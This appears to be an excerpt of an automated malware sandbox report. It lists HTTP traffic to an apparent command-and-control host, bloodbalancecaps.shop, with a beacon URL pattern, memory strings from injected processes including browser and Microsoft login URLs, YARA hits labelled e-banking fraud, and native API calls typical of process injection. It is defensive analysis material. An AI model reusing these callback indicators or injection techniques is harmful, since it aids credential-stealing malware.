Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:39:06 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://bloodbalancecaps.shop/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipX-Endurance-Cache-Level: 2X-nginx-cache: WordPressContent-Length: 15183Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd b2 5d 97 e3 46 92 25 f8 9c f1 2b 3c a9 23 05 a9 a2 93 e0 57 7c 80 c1 a8 92 52 52 b7 66 aa 5a 75 4a aa e9 9d 91 b4 39 0e c0 00 78 86 c3 1d e5 ee 20 83 c9 8e 1f d3 67 1e f6 69 9f f6 ec cb be ea 8f ad 39 c0 ef 00 19 8c c8 e8 ae e9 66 04 41 87 b9 d9 b5 6b d7 ee cd db 6f 7e 78 f7 d3 7f ff f3 b7 24 b5 99 b8 3d bb 71 3f 44 30 99 4c 1a b9 a5 7f fe a9 e1 62 c0 a2 db b3 37 37 19 58 46 c2 94 69 03 76 d2 f8 eb 4f df d1 ab 06 e9 ae 6f 24 cb 60 d2 98 72 98 e5 4a db 06 09 95 b4 20 31 73 c6 23 9b 4e 22 98 f2 10 68 f9 d2 26 5c 72 cb 99 a0 26 64 02 26 bd 12 67 0b e6 5c ab 40 59 73 be 06 39 cf d8 3d e5 19 4b 80 e6 1a 5c 13 5f 30 9d c0 79 45 c0 d8 b9 80 5b 9e 25 3e 37 cd 9f 0d ff 08 66 d2 60 85 55 0d c2 7f 6d 93 2a f2 7f 56 a1 b6 8b b5 c8 a2 c4 66 5c 52 2e ad e6 d2 f0 90 ba 34 9f 0c 3c cf cb ef 49 6f 54 fe 3c dc 74 2b 74 6c 63 b9 c5 c3 9f 7f fb d7 84 4b 64 fa db ff 52 04 a4 83 d1 2c 62 37 dd ea fa ec 46 70 79 47 34 88 c9 79 24 8d e3 1b 83 0d d3 73 92 e2 69 72 de ed 06 42 a9 28 60 28 73 08 21 cb 4d c7 a4 2a 2f 27 d9 94 36 98 b0 a0 25 b3 d0 20 76 9e a3 b2 2c cf 05 0f 99 e5 4a 76 b5 31 bf bb cf 04 5e b9 96 93 06 f9 42 b3 bf 15 6a 4c be 03 88 1a 55 a3 46 6a 6d 6e fc 03 ed ba 31 66 76 1b af d6 94 44 80 82 66 b8 ab df fe 55 73 65 4e 23 81 15 ae c4 6c b3 31 a1 e6 b9 bd 3d 9b 71 19 a9 59 e7 fd 2c 87 4c 7d e0 3f 82 b5 5c 26 86 4c c8 a2 11 30 03 7f d5 a2 e1 2f f1 7f e9 fe d2 35 9d 59 47 e9 e4 97 6e 69 13 f3 0b 82 6b f8 a5 5b 16 ff d2 ed 8d 3a 5e 67 f0 4b f7 b2 7f 7f d9 ff a5 db 68 37 e0 de 62 7d 27 97 09 be 98 69 f2 32 3c 2c 2c d1 f0 f7 db 0a 10 4f ee 5d 15 3a 84 86 bf 68 a0 3f 50 c0 b2 6c 89 5f c2 d7 0a f2 4b 77 96 a3 1f 43 51 44 ae e3 07 53 06 ca 5a 8a 0b 02 1c bb 93 71 d9 f9 60 7e 3f 05 3d b9 e8 5c 76 7a 8d 87 87 f1 59 f7 cb b7 e4 a7 94 1b 12 73 01 04 7f 9d d3 69 02 12 34 f6 8e c8 97 dd b3 b7 71 21 43 b7 c8 26 6f cb d6 62 ca 34 51 6d d3 86 f1 2a 4e c2 26 b4 16 56 cf cb 3b 3b 59 98 22 cf 95 b6 3f 81 b1 c6 87 b6 e5 19 9e 58 96 fb 4d 09 33 f2 0d 02 b7 3a 53 26 0a f8 21 6e b6 1e c6 06 8c 41 98 1f ad d2 28 58 c7 80 fd 1e c7 6e aa f6 7f f9 f1 87 7f ea 18 ab 71 7d 3c 9e 37 6d ab f5 80 8a 84 a9 6b f7 f0 b0 6e 9f 37 b1 87 a3 06 9d 10 47 d5 7f 81 d0 36 bd b6 d7 c6 77 26 a7 0c 17 c2 23 9b 6e 5e 53 e0 49 6a 5b 18 c0 a9 c5 4f b8 d0 a6 c5 74 af 35 ae 06 70 2c ff ca a5 1d f4 bf d2 9a cd 9b d0 49 90 93 db 26 72 67 a7 40 77 22 4c 6c Data Ascii: ]F%+<#W\|RRfZuJ9x gi9fAko~x$=q?D0Lb77XFivOo$`rJ
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:39:08 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://bloodbalancecaps.shop/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipX-Endurance-Cache-Level: 2X-nginx-cache: WordPressContent-Length: 15183Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd b2 5d 97 e3 46 92 25 f8 9c f1 2b 3c a9 23 05 a9 a2 93 e0 57 7c 80 c1 a8 92 52 52 b7 66 aa 5a 75 4a aa e9 9d 91 b4 39 0e c0 00 78 86 c3 1d e5 ee 20 83 c9 8e 1f d3 67 1e f6 69 9f f6 ec cb be ea 8f ad 39 c0 ef 00 19 8c c8 e8 ae e9 66 04 41 87 b9 d9 b5 6b d7 ee cd db 6f 7e 78 f7 d3 7f ff f3 b7 24 b5 99 b8 3d bb 71 3f 44 30 99 4c 1a b9 a5 7f fe a9 e1 62 c0 a2 db b3 37 37 19 58 46 c2 94 69 03 76 d2 f8 eb 4f df d1 ab 06 e9 ae 6f 24 cb 60 d2 98 72 98 e5 4a db 06 09 95 b4 20 31 73 c6 23 9b 4e 22 98 f2 10 68 f9 d2 26 5c 72 cb 99 a0 26 64 02 26 bd 12 67 0b e6 5c ab 40 59 73 be 06 39 cf d8 3d e5 19 4b 80 e6 1a 5c 13 5f 30 9d c0 79 45 c0 d8 b9 80 5b 9e 25 3e 37 cd 9f 0d ff 08 66 d2 60 85 55 0d c2 7f 6d 93 2a f2 7f 56 a1 b6 8b b5 c8 a2 c4 66 5c 52 2e ad e6 d2 f0 90 ba 34 9f 0c 3c cf cb ef 49 6f 54 fe 3c dc 74 2b 74 6c 63 b9 c5 c3 9f 7f fb d7 84 4b 64 fa db ff 52 04 a4 83 d1 2c 62 37 dd ea fa ec 46 70 79 47 34 88 c9 79 24 8d e3 1b 83 0d d3 73 92 e2 69 72 de ed 06 42 a9 28 60 28 73 08 21 cb 4d c7 a4 2a 2f 27 d9 94 36 98 b0 a0 25 b3 d0 20 76 9e a3 b2 2c cf 05 0f 99 e5 4a 76 b5 31 bf bb cf 04 5e b9 96 93 06 f9 42 b3 bf 15 6a 4c be 03 88 1a 55 a3 46 6a 6d 6e fc 03 ed ba 31 66 76 1b af d6 94 44 80 82 66 b8 ab df fe 55 73 65 4e 23 81 15 ae c4 6c b3 31 a1 e6 b9 bd 3d 9b 71 19 a9 59 e7 fd 2c 87 4c 7d e0 3f 82 b5 5c 26 86 4c c8 a2 11 30 03 7f d5 a2 e1 2f f1 7f e9 fe d2 35 9d 59 47 e9 e4 97 6e 69 13 f3 0b 82 6b f8 a5 5b 16 ff d2 ed 8d 3a 5e 67 f0 4b f7 b2 7f 7f d9 ff a5 db 68 37 e0 de 62 7d 27 97 09 be 98 69 f2 32 3c 2c 2c d1 f0 f7 db 0a 10 4f ee 5d 15 3a 84 86 bf 68 a0 3f 50 c0 b2 6c 89 5f c2 d7 0a f2 4b 77 96 a3 1f 43 51 44 ae e3 07 53 06 ca 5a 8a 0b 02 1c bb 93 71 d9 f9 60 7e 3f 05 3d b9 e8 5c 76 7a 8d 87 87 f1 59 f7 cb b7 e4 a7 94 1b 12 73 01 04 7f 9d d3 69 02 12 34 f6 8e c8 97 dd b3 b7 71 21 43 b7 c8 26 6f cb d6 62 ca 34 51 6d d3 86 f1 2a 4e c2 26 b4 16 56 cf cb 3b 3b 59 98 22 cf 95 b6 3f 81 b1 c6 87 b6 e5 19 9e 58 96 fb 4d 09 33 f2 0d 02 b7 3a 53 26 0a f8 21 6e b6 1e c6 06 8c 41 98 1f ad d2 28 58 c7 80 fd 1e c7 6e aa f6 7f f9 f1 87 7f ea 18 ab 71 7d 3c 9e 37 6d ab f5 80 8a 84 a9 6b f7 f0 b0 6e 9f 37 b1 87 a3 06 9d 10 47 d5 7f 81 d0 36 bd b6 d7 c6 77 26 a7 0c 17 c2 23 9b 6e 5e 53 e0 49 6a 5b 18 c0 a9 c5 4f b8 d0 a6 c5 74 af 35 ae 06 70 2c ff ca a5 1d f4 bf d2 9a cd 9b d0 49 90 93 db 26 72 67 a7 40 77 22 4c 6c Data Ascii: ]F%+<#W\|RRfZuJ9x gi9fAko~x$=q?D0Lb77XFivOo$`rJ

Source: regini.exe, 00000006.00000002.4819056247.0000000005010000.00000004.10000000.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4817531930.00000000046F0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://bloodbalancecaps.shop/qimy/?RZ=0nkpmZbx9Z4P2&BHptZ6F=pW0RMLgj0GfOcOfjNX4uT4TVFqcCQcjlkxVMBko6
Source: RsbLJIqaDYs.exe, 00000007.00000002.4819665494.00000000051EF000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.bloodbalancecaps.shop
Source: RsbLJIqaDYs.exe, 00000007.00000002.4819665494.00000000051EF000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.bloodbalancecaps.shop/qimy/
Source: regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: regini.exe, 00000006.00000002.4819056247.00000000049C8000.00000004.10000000.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4817531930.00000000040A8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:regular
Source: regini.exe, 00000006.00000002.4821060056.0000000005EC0000.00000004.00000800.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4819056247.00000000049C8000.00000004.10000000.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4817531930.00000000040A8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://kb.fastpanel.direct/troubleshoot/
Source: regini.exe, 00000006.00000002.4815970575.0000000002A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: regini.exe, 00000006.00000002.4815970575.0000000002A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: regini.exe, 00000006.00000002.4815970575.0000000002A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: regini.exe, 00000006.00000002.4815970575.0000000002A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: regini.exe, 00000006.00000002.4815970575.0000000002A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: regini.exe, 00000006.00000003.2950852511.000000000792A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: regini.exe, 00000006.00000002.4821060056.0000000005EC0000.00000004.00000800.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4819056247.0000000004B5A000.00000004.10000000.00040000.00000000.sdmp, regini.exe, 00000006.00000002.4819056247.0000000004CEC000.00000004.10000000.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4817531930.00000000043CC000.00000004.00000001.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4817531930.000000000423A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

E-Banking Fraud

Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2661754226.00000000094A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4817215327.0000000002DA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2655581470.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4815713074.00000000028B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4817376568.0000000002DF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4817056266.0000000005200000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2656279373.00000000065E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C903 NtClose,	2_2_0042C903
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A735C0 NtCreateMutant,LdrInitializeThunk,	2_2_03A735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72B60 NtClose,LdrInitializeThunk,	2_2_03A72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03A72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A74340 NtSetContextThread,	2_2_03A74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73090 NtSetValueKey,	2_2_03A73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73010 NtOpenDirectoryObject,	2_2_03A73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A74650 NtSuspendThread,	2_2_03A74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72BA0 NtEnumerateValueKey,	2_2_03A72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72B80 NtQueryInformationFile,	2_2_03A72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72BE0 NtQueryValueKey,	2_2_03A72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72BF0 NtAllocateVirtualMemory,	2_2_03A72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72AB0 NtWaitForSingleObject,	2_2_03A72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72AF0 NtWriteFile,	2_2_03A72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72AD0 NtReadFile,	2_2_03A72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A739B0 NtGetContextThread,	2_2_03A739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72FA0 NtQuerySection,	2_2_03A72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72FB0 NtResumeThread,	2_2_03A72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72F90 NtProtectVirtualMemory,	2_2_03A72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72FE0 NtCreateFile,	2_2_03A72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72F30 NtCreateSection,	2_2_03A72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72F60 NtCreateProcessEx,	2_2_03A72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72EA0 NtAdjustPrivilegesToken,	2_2_03A72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72E80 NtReadVirtualMemory,	2_2_03A72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72EE0 NtQueueApcThread,	2_2_03A72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72E30 NtWriteVirtualMemory,	2_2_03A72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72DB0 NtEnumerateKey,	2_2_03A72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72DD0 NtDelayExecution,	2_2_03A72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72D30 NtUnmapViewOfSection,	2_2_03A72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72D00 NtSetInformationFile,	2_2_03A72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72D10 NtMapViewOfSection,	2_2_03A72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73D10 NtOpenProcessToken,	2_2_03A73D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73D70 NtOpenThread,	2_2_03A73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72CA0 NtQueryInformationToken,	2_2_03A72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72CF0 NtOpenProcess,	2_2_03A72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72CC0 NtQueryVirtualMemory,	2_2_03A72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72C00 NtQueryInformationProcess,	2_2_03A72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72C60 NtCreateKey,	2_2_03A72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72C70 NtFreeVirtualMemory,	2_2_03A72C70
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03074340 NtSetContextThread,LdrInitializeThunk,	6_2_03074340
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03074650 NtSuspendThread,LdrInitializeThunk,	6_2_03074650
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030735C0 NtCreateMutant,LdrInitializeThunk,	6_2_030735C0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072B60 NtClose,LdrInitializeThunk,	6_2_03072B60
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072BA0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_03072BA0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072BE0 NtQueryValueKey,LdrInitializeThunk,	6_2_03072BE0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_03072BF0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072AD0 NtReadFile,LdrInitializeThunk,	6_2_03072AD0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072AF0 NtWriteFile,LdrInitializeThunk,	6_2_03072AF0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030739B0 NtGetContextThread,LdrInitializeThunk,	6_2_030739B0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072F30 NtCreateSection,LdrInitializeThunk,	6_2_03072F30
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072FB0 NtResumeThread,LdrInitializeThunk,	6_2_03072FB0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072FE0 NtCreateFile,LdrInitializeThunk,	6_2_03072FE0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072E80 NtReadVirtualMemory,LdrInitializeThunk,	6_2_03072E80
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072EE0 NtQueueApcThread,LdrInitializeThunk,	6_2_03072EE0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072D10 NtMapViewOfSection,LdrInitializeThunk,	6_2_03072D10
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072D30 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_03072D30
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072DD0 NtDelayExecution,LdrInitializeThunk,	6_2_03072DD0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_03072DF0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072C60 NtCreateKey,LdrInitializeThunk,	6_2_03072C60
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_03072C70
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072CA0 NtQueryInformationToken,LdrInitializeThunk,	6_2_03072CA0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03073010 NtOpenDirectoryObject,	6_2_03073010
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03073090 NtSetValueKey,	6_2_03073090
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072B80 NtQueryInformationFile,	6_2_03072B80
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072AB0 NtWaitForSingleObject,	6_2_03072AB0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072F60 NtCreateProcessEx,	6_2_03072F60
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072F90 NtProtectVirtualMemory,	6_2_03072F90
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072FA0 NtQuerySection,	6_2_03072FA0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072E30 NtWriteVirtualMemory,	6_2_03072E30
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072EA0 NtAdjustPrivilegesToken,	6_2_03072EA0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072D00 NtSetInformationFile,	6_2_03072D00
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03073D10 NtOpenProcessToken,	6_2_03073D10
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03073D70 NtOpenThread,	6_2_03073D70
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072DB0 NtEnumerateKey,	6_2_03072DB0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072C00 NtQueryInformationProcess,	6_2_03072C00
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072CC0 NtQueryVirtualMemory,	6_2_03072CC0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03072CF0 NtOpenProcess,	6_2_03072CF0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028D93B0 NtCreateFile,	6_2_028D93B0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028D96D0 NtClose,	6_2_028D96D0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028D9620 NtDeleteFile,	6_2_028D9620
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028D9520 NtReadFile,	6_2_028D9520
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028D9840 NtAllocateVirtualMemory,	6_2_028D9840

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418783	2_2_00418783
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004010D3	2_2_004010D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004010E0	2_2_004010E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041697E	2_2_0041697E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004101E3	2_2_004101E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E1E3	2_2_0040E1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416983	2_2_00416983
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E327	2_2_0040E327
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E333	2_2_0040E333
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004045AC	2_2_004045AC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402650	2_2_00402650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042EF73	2_2_0042EF73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FFC3	2_2_0040FFC3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402FB0	2_2_00402FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FFBF	2_2_0040FFBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A8739A	2_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B003E6	2_2_03B003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF132D	2_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D34C	2_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFA352	2_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A452A0	2_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4B1B0	2_2_03A4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B001AA	2_2_03B001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF81CC	2_2_03AF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30100	2_2_03A30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7516C	2_2_03A7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0B16B	2_2_03B0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF70E9	2_2_03AF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFF0E0	2_2_03AFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF0CC	2_2_03AEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFF7B0	2_2_03AFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3C7C0	2_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A64750	2_2_03A64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5C6E0	2_2_03A5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF16CC	2_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADD5B0	2_2_03ADD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B00591	2_2_03B00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40535	2_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF7571	2_2_03AF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEE4F6	2_2_03AEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFF43F	2_2_03AFF43F
